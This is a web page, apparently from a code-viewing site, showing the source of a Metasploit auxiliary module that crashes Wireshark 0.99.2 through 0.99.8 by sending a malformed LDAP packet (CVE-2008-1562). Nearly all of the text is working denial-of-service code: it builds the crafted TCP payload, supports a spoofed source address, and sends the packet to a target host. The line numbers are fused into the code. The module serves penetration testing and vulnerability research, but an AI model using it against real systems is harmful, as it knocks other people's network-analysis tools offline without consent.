Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/wireshark/ldap.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'Wireshark LDAP Dissector DOS',12'Description' => %q{13The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers14to cause a denial of service (application crash) via a malformed packet.15},16'Author' => ['MC'],17'License' => MSF_LICENSE,18'References' =>19[20[ 'CVE', '2008-1562' ],21[ 'OSVDB', '43840' ],22],23'DisclosureDate' => 'Mar 28 2008')2425register_options([26OptInt.new('RPORT', [true, 'The destination port', 389]),27OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])28])2930deregister_options('FILTER','PCAPFILE')31end3233def run3435open_pcap3637print_status("Sending malformed LDAP packet to #{rhost}")3839m = Rex::Text.rand_text_alpha_lower(3)4041p = PacketFu::TCPPacket.new42p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)43p.ip_daddr = rhost44p.tcp_ack = rand(0x100000000)45p.tcp_flags.syn = 146p.tcp_flags.ack = 147p.tcp_dport = datastore['RPORT'].to_i48p.tcp_win = 307249p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"50p.recalc51capture_sendto(p, rhost)5253close_pcap5455end56end575859